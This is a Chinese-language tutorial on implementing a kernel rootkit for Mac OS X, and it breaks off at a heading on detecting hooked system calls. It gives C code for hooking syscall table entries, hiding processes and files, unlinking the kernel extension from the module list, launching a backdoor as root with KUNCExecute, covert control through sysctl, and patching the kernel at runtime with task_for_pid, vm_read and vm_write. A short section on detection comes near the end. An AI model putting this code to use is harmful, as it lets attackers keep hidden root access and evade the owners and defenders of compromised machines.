1.1 背景介紹
困 擾著不同操作系統(tǒng)的Rootkit已經由來已久,Linux,Windiws,還有各種類BSD等系統(tǒng)都受到了Rootkit的極大危害。目前廣泛使用的 一類“內核Rootkit”,是原來“文件轉移Rootkit”的衍生和發(fā)展。這種發(fā)展趨勢的必然性,來源于Rootkit和Osiris、Tripwire等安全軟件之間的競爭——后者的出現使得Rootkit開發(fā)者不得不在內核空間中尋找更加隱秘的途徑,以達到滲透和顛覆系統(tǒng)的目的。
Rootkit是以后門(backdoor)或者嗅探程序(sniffer)等形式存在的惡意代碼,其基本行為表現為篡改標準工具和命令的行為與輸出。就像計算機安全領 域的其他分支一樣,Rootkit與Anti-Rootkit之間總存在著“你高一尺,我高一丈”的對立競爭關系,而且隨著技術的發(fā)展,這場競爭已經愈演 愈烈。
在本文中,以向讀者引導和介紹在一個特定系統(tǒng)上實現Rootkit的具體方法為目的,我們將在Apple的Mac OS X操作系統(tǒng)上實現一個運行時內核補丁,完成一個內核級的Rootkit。Apple的Mac OS X系統(tǒng)支持兩種不同的CPU架構,即Intel和PowerPC體系。我們實現的Rootkit是體系結構無關的,大部分代碼在兩種架構下都可以兼容運 行。
1.2 Rootkit基礎
Rootkit的目的之一是隱藏自身,因此內核級的Rootkit一般都具有隱藏文件、進程和網絡套接字通信的能力,而高級一些的甚至具有后門和和鍵盤嗅探的功能。
當 一個程序,如“/bin/ls”需要列出一個目錄下的所有文件時,它會調用內核中的系統(tǒng)調用函數。隨著getdirentries()的函數運行,控制流 程從用戶空間轉移到內核空間,由內核完成用戶的請求操作。最終getdirentries()再將特定目錄下的文件列表信息返回到用戶空間,呈現在用戶面 前。
為了達到從getdirentires()返回的信息中隱藏特定文件的目的,我們需要修改系統(tǒng)調用返回的文件信息,并在 其到達用戶空間之前將特定的條目刪除。要實現這個功能有多種選擇,一是修改文件系統(tǒng)的處理層,例如虛擬文件系統(tǒng)(VFS)等;二是直接修改目標所指的getdirentires()函數。相對前者,修改系統(tǒng)調用要簡單一些,這也是我們所傾向采用的方法。
1.3 系統(tǒng)調用基礎
當 用戶空間的程序需要調用內核空間的函數時,它就要喚起(invoke)一個系統(tǒng)調用。系統(tǒng)調用可以看作是提供了特定內核服務的API函數,如文件讀寫,打 開關閉網絡連接等等。每一個系統(tǒng)調用都有唯一的編號,稱為系統(tǒng)調用號,在喚起時就是通過編號來判斷調用的具體函數。
當一個用 戶空間的進程需要調用內核函數時,總是先調用一個在libc庫中的包裝函數,由它產生軟件中斷,將控制流從用戶空間轉移到內核。內核在一個稱作“系統(tǒng)調用 表”的地方,保存了一份可用的系統(tǒng)調用函數列表,每一個入口項都有一個函數指針,指向編號所對應的系統(tǒng)調用的函數位置。屆時,內核將在系統(tǒng)調用表中查找編 號所指的函數入口,并交由后者來處理用戶空間的請求。完整的系統(tǒng)調用列表可以在/usr/include/sys/syscall.h文件中找到。如果Rootkit想要隱藏什么文件,只需關注下面幾個系統(tǒng)調用函數就可:
196 - SYS_getdirentries
222 - SYS_getdirentriesattr
344 - SYS_getdirentries64
上 述的每一個入口都指出了和列出文件有關的內核函數的地址。SYS_getdirentries是一個先前就有的函數版 本,SYS_getdirentriesattr與前者類似,帶有對MAC OS X的特征支持,而SYS_getdirentries64則是較新的版本,支持更長的文件名。通常情況下,SYS_getdirentries由bash使用,ls用的是SYS_getdirentries64,而SYS_getdirentriesattr則只能由OS X集成的應用程序,如Finder等來使用。在實現Rootkit時,為了向端用戶提供統(tǒng)一的輸出口徑,這其中的每一個函數都要被替換掉。
為了實現修改函數輸出的功能,設計一個能夠替換原始函數的包裝函數是十分必要的。包裝函數首先調用原始的函數,搜索其輸出,做必要的修改和驗證之后再返回到用戶空間。
1.4 用戶空間與內核空間
就 像用戶空間的進程有其私有獨立的內存地址一樣,內核也是在相對獨立的地址空間中運行的。這同時意味著在內核中想要自由、不受約束的讀寫內存地址是不可能實 現的了。當內核空間的程序想要修改用戶空間的地址,如拷貝數據到用戶空間時,就需要遵守特定的協(xié)議和處理例程。好在為了完成特定的任務,有相當數量的輔助 函數可以參考和借鑒,在這里我們就可以使用copyin和copyout這兩個函數。
2 XNU內核介紹
Mac OS X操作系統(tǒng)的內核叫做XNU,其核心是基于Mach微內核與FreeBSD 5而實現的。系統(tǒng)在Mach層,負責內核線程、進程、多任務調度、消息傳遞、虛擬內存管理以及控制臺IO等多項任務;接著Mach之上的是BSD層,提供 了與POSIX標準相兼容的API,網絡功能,以及文件系統(tǒng)等等。XNU內核采用了一個稱之為“I/O Kit”的面向對象框架來實現設備驅動程序的加載和卸載,它既可以將不同的技術糅合在一起為同樣的目的服務,也為修改操作系統(tǒng)提供了一條的簡便途徑。除此 之外,XNU內核還有一個有趣的事情,內核和用戶空間都使用各種獨立的4GB的地址空間,和我們在其他操作系統(tǒng)中見到的好像不太一樣。^_^
2.1 OS X內核Rootkit的歷史
目 前已知的在Mac OS X系統(tǒng)上發(fā)布的最早內核Rootkit是WeaponX,由nemo開發(fā),出現于2004年11月份。它采用了和大多數Rootkit一樣的內核擴展(可 加載內核模塊,LKM)技術,提供了內核Rootkit的各項基本功能。然而WeaponX的兼容性不是很好,隨著后來Mac OS X內核的調整,在新系統(tǒng)上也就不能再正常工作了。
在最近發(fā)布的幾個Mac OS X的版本中,Apple作了很多工作,加強了內核防護,讓系統(tǒng)滲透變得困難了許多。更令人感到沮喪的是,系統(tǒng)調用表等重要的內核結構,都不再向開發(fā)者公開其具體細節(jié),此時開發(fā)Rootkit的工作更是顯得難上加難。
2.2 尋找系統(tǒng)調用表
版 本號為10.4的OS X系統(tǒng)已經沒有導出的內核符號表的存在,這意味著編譯器將無法自動確定系統(tǒng)調用表在內存中的存放位置了。此時,可以迂回的,采用在內存空間中強力搜索,或 者尋找其他參照物的方法來解決這個問題。Landon Fuller發(fā)現的一條簡便途徑,系統(tǒng)的輸出符號之一nsysent(系統(tǒng)調用表中的入口數目)就位于和系統(tǒng)調用表臨近的某個位置,用特殊的程序就將其找 到并返回一個指向系統(tǒng)調用表的指針,具體細節(jié)可以參
http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTACH.20080122.html。最終,我們得到了系統(tǒng)調用表入口項的數據結構如下:
struct sysent {
int16_t sy_narg; /* number of arguments */
int8_t reserved; /* unused value */
int8_t sy_flags; /* call flags */
sy_call_t *sy_call; /* implementing function */
sy_munge_t *sy_arg_munge32; /* system call arguments for32-bit processes */
sy_munge_t *sy_arg_munge64; /* system call arguments for 64-bit processes */
int32_t sy_return_type; /* return type */
uint16_t sy_arg_bytes; /* Size of all arguments for system calls, in bytes */
} *_sysent;
該 結構中,我們最感興趣的莫過于“sy_call”指針了,它指出了系統(tǒng)調用處理函數的實際位置,同時也提示了我們待會兒準備HOOK的目標。說到HOOK的過程,原理上其實相當簡單,只需將“sy_call”指針指向內存中我們自己提供的處理函數就可以了。
2.3 未公開的內核結構
在10.4版的OS X中,Apple修改了內核結構,以求更好的內核API穩(wěn)定性。因此即使是在內核調整之后,內核擴展設施仍然能夠正常工作。然而正是由于Apple所做的 這些修改,才隱藏了API內部的大量實現細節(jié)和關鍵數據結構,只將某些部分有選擇的公開給開發(fā)者。
這里有一個未公開結構的例子,標識進程的數據結構“proc”。該結構從用戶和內核空間都可以訪問,用戶空間的結構定義在/usr/include/sys/proc.h文件,如文中的代碼所示(恕不列出)。
內 核中的“proc”結構定義可以從XNU的源代碼包中獲得,位于xnu-xxx/bsd/sys/proc_internal.h文件,其內部的數據域要 比用戶空間中的豐富很多。如果我們回到10.3版本去看一下同樣用戶空間的proc結構,如下面的代碼,也會發(fā)現原來的具有更多的數據成員,如文中的代碼 所示(恕不列出)。
Mac OS X從10.3到10.4的版本演變過程中,Apple重新修改了這些結構,刪去了相當數量的結構體成員。在這其中,有一個p_ucred指針,指向的是一 個描述當前進程所屬用戶受信任程度的數據結構。事實證明,這樣做確實有效的遏制住了nemos的攻擊勢頭。后者試圖以下面的代碼將一個進程的user-id和group-id設為0,以期取得root權限。然而現在失去了篡改的變量,攻擊方法自然也就行不通了。
void uid0(struct proc *p) {
register struct pcred *pc = p->p_cred;
pcred_writelock(p);
(void)chgproccnt(pc->p_ruid, -1);
(void)chgproccnt(0, 1);
pc->pc_ucred = crcopy(pc->pc_ucred);
pc->pc_ucred->cr_uid = 0;
pc->p_ruid = 0;
pc->p_svuid = 0;
pcred_unlock(p);
set_security_token(p);
p->p_flag |= P_SUGID;
return;
}
這 對于那些需要修改內核結構的Rootkit開發(fā)者來說,已經成了一個不可回避的問題,一方面內核結構是未輸出和未公開文檔化的,另一方面系統(tǒng)自身版本的演 進也加快了結構調整的步伐。不過仍然讓我們感到幸運的是,內核代碼目前都是開源的,從Apple處可以自由下載。從某種意義上說,這為我們從源代碼中提取 需要的數據結構打開了方便之門。
2.4 I/O Kit框架
Mac OS X為創(chuàng)建設備驅動程序提供了一個完整的實現框架,包括多種庫、工具和資源等各項組件,就是我們前面提到的“I/O Kit”。I/O Kit在Mac OS X中為上層提供了一個硬件設備的抽象視圖,簡化了設計過程,也節(jié)省了開發(fā)時間。整個框架是以面向對象的原則,采用了一種裁剪過的C++語言來實現的,保證 了框架結構的清晰,也提高了代碼的重用效率。
I/O Kit在內核空間中運行,并且和實際的硬件相交互,所以用來編寫鍵盤記錄程序keylogger是再合適不過的了。drspringfield寫的“l(fā)ogKext”就是這方面一個比較典型的例子,它利用I/O Kit框架來記錄用戶的擊鍵事件。I/O Kit還有其他很多方面的用途,在實現Mac OS X的內核Rootkit時借助它的幫忙可以省去很多不必要的麻煩。
3 Mac OS X下的內核開發(fā)
Mac OS X下的內核開發(fā)可有多條途徑,最簡便的就是將“改進”的功能作為內核驅動加載上去。驅動程序可以BSD子層內核擴展,或者面向對象的I/O Kit驅動的方式添加。而這里最簡單的內核擴展程序開發(fā)方式就要數專門為“Generic Kernel Extension”而設計的XCode-templates了。打開Xcode程序,在“File”菜單中選擇“New Project”新建一個項目,在“Kernel Extension”下從可用的模板列表中選擇“Generic Kernel Extension”,取一個合適的名字,如“rootkit 0.1”,最后單擊“Finish”,就成功的創(chuàng)建了一個Xcode項目了。自動生成的c文件包含了下面所示的內核擴展的入口和出口函數。
kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) {
return KERN_SUCCESS;
}
kern_return_t rootkit_0_1_stop (kmod_info_t * ki, void * d) {
return KERN_SUCCESS;
}
使 用/sbin/kextload,內核擴展在加載時會調用rootkit_0_1_start()函數,相對的,使用/sbin/kextunload來 卸載,調用的則是rootkit_0_1_stop()。加載和卸載內核擴展都需要root權限,之后這些函數都是在內核空間中運行,對整個操作系統(tǒng)有著 完全的控制權。因此這就要求在編寫這些函數時要慎之又慎,一不小心就有可能導致系統(tǒng)的崩潰。這里借用Apple《Kernel Program Guide》中的一句話,“內核編程是一項黑色藝術,應該避免所有的可能,確保萬無一失!”,以此來說明內核編程工作的危險性是再合適不過的了。
一般來說,在start()函數中對內核做出的任何修改都應該在stop()函數中恢復回來。函數,變量,還有其他形式的本地對象等等都應該在模塊卸載時析構,否則后續(xù)對其的引用可能引發(fā)系統(tǒng)的錯誤行為,嚴重時將導致系統(tǒng)崩潰。
構 建自己的項目只需要點擊“build”按鈕即可,編譯好的內核擴展文件將存放在build/Relase/目錄下,并命名為“rootkit 0.1.kext”。不過請注意,/sbin/kextload只有當內核擴展屬于root用戶和wheel用戶組時,才能加載擴展程序,否則有可能拒絕 用戶的加載請求。更改文件的屬主可以用chown命令,不喜歡Xcode圖形界面的黑客們也可以采用命令行的方式來構建項目,只需輸入“xcodebuild”即可。
Apple通過Mac OS X DVD的形式提供了我們所需的XCode IDE和gcc編譯器,
http://developer.apple.com注冊后,也可以下載獲得最新版本的開發(fā)工具集合。而XNU內核的源碼包可以
http://opensource.apple.com/darwinsource/處下載,在開發(fā)時最好保留一份以便快速參考。
使 用內核擴展API的最大好處就是,kextload命令接管了連接和加載時的所有操作。這意味著整個Rootkit可以用C語言編寫,不用關心之外的繁瑣 操作。C語言編寫的程序效率較高,可移植性也不錯,在Mac OS X支持的兩種CPU架構上都可適用。
3.1 內核版本依賴性
如 前所述,Landon Fuller已經注意到在10.4版OS X上找到nsysent變量就可以取得系統(tǒng)調用表的地址。然而隨著內核發(fā)行版本的不同,參考目標之間的相對位置也在發(fā)生著或多或少的變化。因此,內核發(fā)行 版本間的差異使得內核依賴性的配置操作在內核擴展程序的設計過程中也顯得尤為重要。XCode-project中有一個“Info.plist”文件,在 其中的“OSBundleLibraries”條目下加入“com.apple.kernel”鍵和相關內核版本描述,就可以完成內核依賴性的配置過程。
<key>OSBundleLibraries</key>
< dict>
<key>com.apple.kernel</key>
<string>9.6.0</string>
< /dict>
上面的語句將內核擴展程序的編譯和9.6.0版本的內核聯(lián)系在一起,程序每一次主版本號和次版本號的更新,都有必要將代碼重新編譯一遍。內核的依賴配置操作,是保證內核擴展運行時安全的必要手段之一,系統(tǒng)由此將拒絕加載非匹配版本的內核擴展程序。
4第一個OS X內核Rootkit
4.1 替換系統(tǒng)調用
要 想快速的在內核中開辟出一片屬于Rootkit的領地,我們先來看一個替換getuid()函數的例子。getuid()正常情況下返回當前用戶的ID, 我們準備把它替換為一個總是返回uid為0(root用戶)的函數。從直覺上講,這樣就獲得了root訪問權限,但實際上并沒有得到root的所有特權, 在此只做一個例子展示而已。^_^
int new_getuid()
{
return(0);
}
kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) {
struct sysent *sysent = find_sysent();
sysent[SYS_getuid].sy_call = (void *) new_getuid;
return KERN_SUCCESS;
}
上面的代碼首先定義了一個新的getuid()函數,總是返回0值。該新函數在kextload中加載到內核內存,當start()函數運行時,它將原來的getuid()用新的替換掉,最終內核擴展程序操作成功后將返回KERN_SUCCESS。
完整的源代碼放在本文的附件里,除了上述加載的部分,卸載的部分也已包括其中。
4.2 隱藏進程
“/bin /ps”,“top”和監(jiān)控所有運行進程的操作都要用到系統(tǒng)調用sysctl。我們知道,sysctl是一個多動能的、和內核多種功能交互的通用目的API,既可以用來列舉運行進程,也可以執(zhí)行打開網絡連接等各項操作?,F在準備截取和修改系統(tǒng)的進程列表,那滲透sysctl系統(tǒng)調用當然就是我們不二的 選擇了。
截取sysctl系統(tǒng)調用的方法和前面getuid()的一樣,但是需要特別注意的是這里調用的參數情況。Apple為了支持大端序和小端序兩種內存數據的組織形式,使用了數據填充的宏PADL和PADR。它們也帶了一些副作用,使得程序的參數結構看上去非常 怪異,不易理解。在使用這些參數結構時建議直接從XNU的源代碼包中拷貝相關結構體的定義部分到目標文件,免得數據填充時引起莫名的混淆和錯誤。
sysctl通過一個char類型數組“name”傳遞功能命令,該命令是按照層次組織的,并且經常包括一些子命令,子命令也會附帶自己的參數等等。sysctl及其 子命令的詳細說明可以參考“/usr/include/sys/sysctl.h”文件,這其中有CTL_KERN->KERN_PROC的命令請 求,將系統(tǒng)的運行進程列表拷貝到用戶提供的緩沖區(qū)中。從Rootkit的角度來看,這引入了一個問題——我們意圖在數據返回到用戶之前修改其輸出,但它卻 直接將數據返回到了用戶提供的緩沖區(qū)里。不過幸運的是,我們此時仍然有辦法在返回到用戶應用程序之前成功的篡改數據,只要將數據從用戶空間先拷貝到內核空 間的緩沖區(qū),修改完成后再復制回去即可。
首先為了拷貝數據,需要用MALLOC宏分配必要的內存空間;接著用copyin函 數將用戶空間的數據拷貝到內核中來;然后是對數據的篩選和驗證過程,留下不重要的,刪去那些敏感的信息,將緩沖區(qū)中的內容覆蓋掉就可以去除某個進程的相關 條目。覆蓋操作可以用bcopy函數完成,一旦有數據被刪除,還應該調整緩沖區(qū)的長度信息,長度縮短以后,將數據拷貝回到用戶空間。
/* Search for process to remove */
for (i = 0; i < nprocs; i++)
if(plist.kp_proc.p_pid == 11) /* hardcoded PID */
{
/* If there is more then one entry left in the list
* overwrite this entry with the rest of the buffer */
if((i+1) < nprocs)
bcopy(&plist[i+1],&plist,(nprocs - (i + 1)) * sizeof(struct kinfo_proc));
/* Decrease size */
oldlen -= sizeof(struct kinfo_proc);
nprocs--;
}
修改后的數據利用copyout函數拷貝回到用戶空間的緩沖區(qū)。在本例中,用到了兩個相關的拷貝函數,suulong拷貝少量的數據到用戶空間,copyout則將整個數據緩沖區(qū)都拷貝回去。
/* Copy back the length to userspace */
suulong(uap->oldlenp,oldlen);
/* Copy the data back to userspace */
copyout(mem,uap->old, oldlen);
數據被修改之后,在緩沖區(qū)的尾部可能會殘留著原來最后一個進程條目的相關信息,作為檢測內存篡改的依據。為了確保篡改不被發(fā)現,有必要將緩沖區(qū)的空余部分都設置為0。
4.3 隱藏文件
如 前所述,和隱藏文件有關的三個系統(tǒng)調用分別是SYS_getdirentries,SYS_getdirentriesattr和SYS_getdirentries64。它們都使用共享sysctl的方式填充所提供的數據緩沖區(qū),并接收返回的數據長度計數值。由于其中各結構變量的 尺寸不同,數據轉換時需要進行準確的指針運算。然而有過C語言編程經驗的人都知道,指針算術是最容易犯錯誤的領域之一,在系統(tǒng)內核的范圍之內,稍不注意更 是有可能造成嚴重后果。而且要做到隱藏文件的一致性,getdirent族的三個系統(tǒng)調用都有修改的必要。
隱藏文件的過程和隱藏進程非常類似,先調用原始的函數,將返回數據從用戶空間拷貝到內核空間,修改之后再拷貝回去就可以了,具體細節(jié)可以參考文章附件里的代碼。
4.4 隱藏內核擴展程序
平時用kextstat命令就可以列舉出系統(tǒng)內的所有內核模塊,如果Rootkit的模塊也被顯示出來,那Rootkit將毫無任何隱蔽性可言。Nemo在WeaponX的實現時,想出了一個簡單的方法來克服這個問題。
extern kmod_info_t *kmod;
void activate_cloaking()
{
kmod_info_t *k;
k = kmod;
kmod = k->next;
}
上 面的代碼搜索可加載內核模塊的鏈表,簡單的將Rootkit的模塊從中刪除。kextstat命令在執(zhí)行時會遍歷該鏈表,輸出模塊信息?,F在Rootkit的模塊沒有了,自然也就銷聲匿跡了。不過在kextunload的時候,由于找不到模塊,執(zhí)行也會以失敗而告終,這也算是獲得隱蔽性所換來 的代價吧。
4.5 在內核空間運行用戶空間的程序
Mac OS X中有一種特殊的API,叫做KUNC(Kernel-User Notification Center),用來從內核向用戶顯示一條通知信息,或者在用戶空間運行程序或者命令。
KUNC API中有在用戶空間執(zhí)行程序的命令KUNCExecute(),用于從內核在用戶空間執(zhí)行程序的目的。該函數的定義在xnu-xxx/osfmk /UserNotification/KUNCUserNotifications.h文件中,我們選取了如下的代碼片段。
#define kOpenApplicationPath 0
#define kOpenPreferencePanel 1
#define kOpenApplication 2
#define kOpenAppAsRoot 0
#define kOpenAppAsConsoleUser 1
kern_ret_t KUNCExecute(char *executionPath, int openAsUser, int pathExecutionType);
“executionPath”是要執(zhí)行的程序路徑。“openAsUser”標志指出執(zhí)行程序所屬的用戶,既可以是“kOpenAppAsConsoleUser”,屬于當前登錄用 戶,也可以是“kOpenAppAsRoot”,作為root用戶執(zhí)行。最后的“pathExecutionType”也是一個程序標志,指出執(zhí)行程序的 類型,有以下幾種取值:
kOpenApplicationPath 按照絕對路徑定位可執(zhí)行程序
kOpenPreferencePanel 優(yōu)先定位/System/Library/PreferencePanes目錄下的可執(zhí)行程序
kOpenApplication 優(yōu)先定位/Applications目錄下的可執(zhí)行程序
此時如果要執(zhí)行的是“/var/tmp/mybackdoor”,只需編寫下面的函數調用即可:
KUNCExecute("/var/tmp/mybackdoor", kOpenAppAsRoot, kOpenApplicationPath);
KUNCExecute函數在某些觸發(fā)器程序上有著廣泛的應用,例如勾掛TCP處理函數之后,在用戶空間向源IP地址回發(fā)一個標志報文,觸發(fā)源IP端的某種響應功能就可以用到 它。有時,我們也可以勾掛SYS_open函數,根據特殊的標志執(zhí)行KUNCExecute調用,擴大后門程序的本地權限。由此觀之,利用KUNCExecute為我們的Rootkit所帶來的可能性是無窮無盡的。
4.6 從用戶空間控制Rootkit
一旦合適的系統(tǒng)調用和內核函數都被替換過之后,新的函數就可以隱藏文件、進程,甚至打開系統(tǒng)的網絡連接通信了。通常,要觸發(fā)Rookit開始工作就是勾掛特定的系統(tǒng)調用函數和匹配特定的信號。該過程在實現上比較簡單,不需要額外的工具支持就可以做到。
當 隱藏進程時,可以勾掛fork()和exec()等函數族,根據參數傳入的特定標志隱藏單個進程或者整個進程樹。而隱藏文件和套接字通信時,則更具技巧一 些。因為此時沒有類似前者使用的標志那樣的東西,可以通知Rootkit需要在何時何地隱藏什么,所以我們轉而想辦法要創(chuàng)建一些新的系統(tǒng)調用出來。創(chuàng)建新 的系統(tǒng)調用并不是件困難的事情,勾掛原始的,再加上一個特殊的參數,能夠觸發(fā)通信的隱蔽通道就可以了。不過,這需要用戶空間特殊工具的支持,借助它們才能 提供正確的參數,并調用到正確的函數。然而,特殊工具的使用也大大增加了Rootkit被檢測到的風險,即便是在Rootkit想嘗試隱藏它們的情況下也 是如此。隨后建立隱蔽通道的過程倒是不需要特殊工具,也不需要修改/dev/目錄下的什么東西,只需要sysctl函數就可以了。在Mac OS X內核驅動中可以注冊自己的變量并利用/usr/sbin/sysctl就可以修改它們。我們可以觀察變量的值,獲知外部通知的工作信號。
注冊一個新的sysctl的過程也不困難,我們從《Linux on-the-fly kernel patching without LKM》一文中截取了下面的示例代碼。
/* global variable where argument for our sysctl is stored */
int sysctl_arg = 0;
static int sysctl_hideproc SYSCTL_HANDLER_ARGS
{
int error;
error = sysctl_handle_int(oidp, oidp->oid_arg1,oidp->oid_arg2, req);
if (!error && req->newptr)
{
if(arg2 == 0)
printf("Hide process %d/n",sysctl_arg);
else
printf("Unhide process %d/n",sysctl_arg);
}
/* We return failure so that we dont show up in "sysclt -A"-listings. */
return KERN_FAILURE;
}
/* Create our sysctl:s */
SYSCTL_PROC(_hw, OID_AUTO,
hideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR,
&sysctl_arg, 0, &sysctl_hideproc , "I", "Hide a process");
SYSCTL_PROC(_hw, OID_AUTO,
unhideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR,
&sysctl_arg, 1, &sysctl_hideproc , "I", "Unhide a process");
kern_return_t kext_start (kmod_info_t * ki, void * d) {
/* Register our sysctl */
sysctl_register_oid(&sysctl__hw_hideprocess);
sysctl_register_oid(&sysctl__hw_unhideprocess);
return KERN_SUCCESS;
}
這 段代碼注冊了兩個新的sysctl變量,hw.hideprocess和hw.unhideprocess。當使用sysctl–w,設置信號變量hw.hideprocess=99時,會調用sysctl_hideproc()函數,將參數傳入PID的進程從列表中隱藏。隱藏文 件的sysctl于此稍有不同,區(qū)別在于它要傳入一個指出文件路徑的字符串作為參數。使用sysctl作為隱蔽通信途徑的最大好處就是它支持動態(tài)的變量注 冊,而且sysctl幾乎是所有操作系統(tǒng)的標準配置,系統(tǒng)內部的大量使用讓用戶難以區(qū)分其目的是善意還是惡意的。
用戶空間和內核通信的方法還有很多,其他的例如使用Mach進程間通信 API,或者內核控制套接字等,都可以從用戶空間控制我們的內核Rootkit。
5 運行時內核補丁
除 了使用內核模塊和kext族命令之外,還有一個利用Mach層API的方法可以給系統(tǒng)內核打上運行時補丁,劫持系統(tǒng)調用。這在Rootkit開發(fā)領域已經 不算稀奇,先前如sd的SucKIT和rebel的phalanx,兩種Linux下的Rootkit都已經采用了這種技術。
SucKIT和phalanx在Linux下訪問內核地址空間用的都是/dev/kmem或者/dev/mem。不過這二者在Mac OS X中從10.4版之后都已經刪除,由Mach子系統(tǒng)提供了另外一套非常有用的內存管理函數。對于Rootkit開發(fā)者來說,感興趣的可能有vm_read(),vm_write()和vm_allocate()等幾個。一旦獲得了root權限,它們就可以從用戶空間隨意的讀取或者寫入數據到 內核地址范圍,并且分配內核內存空間等等。在這其中,又要數vm_allocate()函數的價值最為重大了。原來在其他操作系統(tǒng)中,通常都是采用kmalloc()替換一個系統(tǒng)調用的方法,在內核中分配內存空間。這樣需要攻擊者在操作之前保存原始的包裝函數,某些情況下,用戶空間其他程序調用同一 個系統(tǒng)調用還會引起競爭條件的錯誤。現在,Mac OS X為內核開發(fā)者們提供了專門的內核分配函數,便利性和穩(wěn)定性都提高了很多。
5.1 劫持系統(tǒng)調用
我 們可以利用vm_read()和vm_write()來劫持系統(tǒng)調用。首先,我們需要定位系統(tǒng)調用表的位置,表中包含了我們準備劫持的指向處理函數的指 針。具體方法就如前面Landon Fuller的做法一樣,在內核和用戶空間都同樣有效。接著我們用vm_read()讀取一個系統(tǒng)調用處理函數的地址,例如SYS_kill,讀取其結構 中sy_call變量即可。
mach_port_t port;
pointer_t buf; /* pointer to your result */
unsigned int r_addr = (unsigned int)&_sysent[SYS_kill].sy_call; /* address to sy_call */
unsigned int len = 4; /* number of bytes to read */
unsigned int sys_kill_addr = 0; /* final destination */
/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
fprintf(stderr, "failed to get port/n");
exit(EXIT_FAILURE);
}
/* read len bytes from r_addr, return pointer to the data in &buf */
if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) {
fprintf(stderr, "could not read memory/n");
exit(EXIT_FAILURE);
}
/* do proper typecast */
sys_kill_addr = *(unsigned int*)buf;
SYS_kill處理函數的地址已經保存到sys_kill_addr變量中了,替換處理句柄只需要編寫一個新的函數,將其地址用vm_write()寫到sy_call就可以了。在下面的例子中,我們用SYS_exit的處理句柄來替換SYS_setuid的處理函數,這樣任何對SYS_setuid的調用最終都將導致程序的終止。
SYSENT *_sysent = get_sysent_from_mem();
mach_port_t port;
pointer_t buf;
unsigned int r_addr = (unsigned int)&_sysent[SYS_exit].sy_call; /* address to sy_call */
unsigned int len = 4; /* number of bytes to read */
unsigned int sys_exit_addr = 0; /* final destination */
unsigned int sz, addr;
/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
fprintf(stderr, "failed to get port/n");
exit(EXIT_FAILURE);
}
/* read len bytes from r_addr, return pointer to the data in &buf */
if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) {
fprintf(stderr, "could not read memory/n");
exit(EXIT_FAILURE);
}
/* do proper typecast */
sys_exit_addr = *(unsigned int*)buf;
/* address to system call handler pointer of SYS_setuid */
addr = (unsigned int)&_sysent[SYS_setuid].sy_call;
/* replace SYS_setuids handler with the handler of SYS_exit */
if (vm_write(port, (vm_address_t)addr, (vm_address_t)&sys_exit_addr, sizeof(sys_exit_addr))) {
fprintf(stderr, "could not write memory/n");
exit(EXIT_FAILURE);
}
現 在如果程序調用setuid(),將被重定向到調用SYS_exit函數。我們用的是Mach API,同樣的功能內核擴展程序也可以做到。有時為了創(chuàng)建一些包裝函數,或者替換一個完整的函數,就需要在內核中為存儲新的代碼而分配內存空間。下面的例 子中,我們將演示用Mach API分配一個4096字節(jié)的內核內存區(qū)域。
vm_address_t buf; /* pointer to our newly allocated memory */
mach_port_t port; /* a mach port is a communication channel between threads */
/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
fprintf(stderr, "failed to get port/n");
exit(EXIT_FAILURE);
}
/* allocate memory and return the pointer to &buf */
if (vm_allocate(port, &buf, 4096, TRUE)) {
fprintf(stderr, "could not allocate memory/n");
exit(EXIT_FAILURE);
}
一切順利的話,可以得到一片4096字節(jié)的內存緩沖區(qū),我們自己編寫的勾掛函數就可以存放在這里。
5.2 操縱直接內核對象(Direct Kernel Object)
Mach API不僅可以劫持系統(tǒng)調用,它也可以用來操縱各種各樣的內核對象。這里有一個allproc結構的例子。
allproc是系統(tǒng)當前運行進程的列表結構,通過ps和top命令可以從其中取得運行進程的相關信息。因此如果要隱藏進程的話,從allproc列表中刪除特定進程的 條目也不失為一種不錯的方法。allproc結構和前面提到的nsysten變量一樣,屬于系統(tǒng)導出的符號,只要使用下面的語句就可以在內存中找到allproc的地址:
# nm /mach_kernel | grep allproc
0054280c S _allproc
#
取 得allproc結構的地址0x0054280c之后,對進程列表就可以做盡情的修改了。Kong在《Designing BSD Rootkits》一書中指出,這里有LIST_FOREACH()和LIST_REMOVE()兩個宏可以遍歷和刪除列表中的某個條目,為修改操作提供 了很大的便利。不過此時我們還不能直接修改內存,只有用vm_read()先將數據讀出來,修改后再用vm_write()將數據寫回去,才能實現進程的 隱藏功能。
6 檢測
要檢測Rootkit有時是十分困難的,一些常見Rootkit在文件系統(tǒng),網絡連接等方面留下的蹤跡可以作為其識別的重要依據。然而如果碰到了未知的Rootkit,檢測出來的可能性就微乎其微了。
檢測系統(tǒng)調用表的完整性是識別Rootkit的重要手段之一,時刻保存一份系統(tǒng)調用表的備份數據和監(jiān)控當前的系統(tǒng)狀態(tài)是保持系統(tǒng)完整的必經之路。大多數的解決方案都采用了影子備份數據的方法,在原始表被滲透之后啟用備份的新表。
Rootkit在截取和修改系統(tǒng)調用返回的數據之后,有可能在緩沖區(qū)的末尾留下一些垃圾信息,這通常都是由于Rootkit開發(fā)者們的疏忽所致。反過來看,這正好也為檢 測一方提供了絕好的識別物證。還有當返回計數和實際獲得的項目數不匹配時,也有Rootkit作怪的可能。而至于尋找隱藏文件的方法,可以編寫一個應用程 序直接訪問底層的文件系統(tǒng),將內核輸出的文件信息和讀取的作比較,看結果自然就一目了然了。有的時候,Rootkit還會打開某些隱蔽的系統(tǒng)端口,雖然有 端口掃描技術來做檢測,但是Rootkit也使用了port-knocking等其他的信號機制來避免打開更多的端口資源。Rootkit的檢測就像一場 貓和老鼠的游戲,風水總是輪流轉個不停,不存在永遠的贏家和失敗者。
6.1 檢測勾掛的系統(tǒng)調用
